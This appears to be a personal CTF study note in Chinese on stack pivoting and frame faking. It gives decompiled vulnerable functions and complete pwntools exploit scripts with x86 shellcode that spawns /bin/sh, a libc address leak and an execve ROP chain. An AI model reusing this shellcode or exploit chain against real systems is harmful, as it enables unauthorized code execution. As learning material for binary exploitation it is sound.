天天天...一定要学会把栈结构画出来,凭脑子想要浪费好多的时间,而且要弄清楚哪一步的sp和bp在哪里
stack pivoting
利用jmp sp在栈上执行代码,现阶段利用的情况是覆盖的字节比较少,但又不是很少
题
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
明显利用溢出控制就可以了,这里理清一下sp的位置关系,首先当sp指向返回地址时候,还有ret没有执行,执行后sp指向向下一个位置,即人为写入的一段命令,这时的ip也指向这段命令,然后向下移动0x28处,这时sp又指向我们在栈上写的代码。之后jmp sp,就会执行这段代码。
exp
#coding = utf-8
from pwn import *
sh = process('./b0verfl0w')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
print(shellcode_x86)
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
这里用手写只有28个字节,但是用自带函数shellcrat有44个。
frame faking
这里的要求还是NX关闭
原理如下:
利用返回时要求的原bp,来构造一个新的栈帧。之后在把函数放在新栈帧上,在利用返回函数跳过去进行执行。
上面是填充的内容
上面是新bp指向的栈帧
具体过程如下
1. 在有栈溢出的程序执行 leave 时,其分为两个步骤
* mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
* pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。
2. 执行 ret 指令,会再次执行 leave ret 指令。
3. 执行 leave 指令,其分为两个步骤
* mov esp, ebp ,这会将 esp 指向 ebp2。
* pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
* push ebp,会将 ebp2 值压入栈中,
* mov ebp, esp,将 ebp 指向当前基地址。
然后实际情况会变成
这里的bp是实际的,所以最先写入的target function addr会被覆盖,这里只需把bp2换成target function addr就可以了
题
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
注意到这道能覆盖的地址非常少,只有16个字节,所以利用fack frame
利用checksec
这个会打乱栈的地址,但相对偏移是不会变的。所以先控制函数输出一个一个函数在内存中的地址,之后再通过偏移进行函数的利用
下面是exp
注释里面会有详细的过程
#coding = utf-8
from pwn import *
content.log_level = 'debug'
context.binary = "./over.over"
io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
#这里减去0x70的原因,我们泄露的bp地址其实是原来main函数的,通过调试发现这里有0x20的差距,所以一共是0x70
success("stack -> {:#x}".format(stack))
pop_rdi_ret=0x400793
payload = flat(['11111111',pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be])
#这里的1随便填什么,0x400676为再次返回本函数,进行重新填写,方便加载的地址不变,6be为一个leave 和 retn(随便找一个都行)
io.sendafter(">", payload)
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.symbols['puts']
#接受到函数地址,已经记一下这里的使用方法io.recvuntil("\x7f")[-6: ].ljust(8, '\0')
success("libc.address -> {:#x}".format(libc.address))
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000115189 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0x0000000000115189
#因为是动态连接,每个库根据版本不同有变化,请自行查宅
payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
#注意这里使用的是execve,有三个参数,按照wiki上说
#见下面的图
#0x30是因为重新进入了当前函数,这时的sp指向的是0x400676,按照汇编语言,sp会减0x50,此时离原来的第一次sp只有0x20的距离,所以需要再减去0x30,才能跳到重新写入发代码中
#因为控制了eb,所以最好进入当前函数慢慢跟踪。不要从头再来,会发生一些不可描述的事情
io.sendafter(">", payload)
io.interactive()
以上,我好笨,看了好久才弄懂,惨惨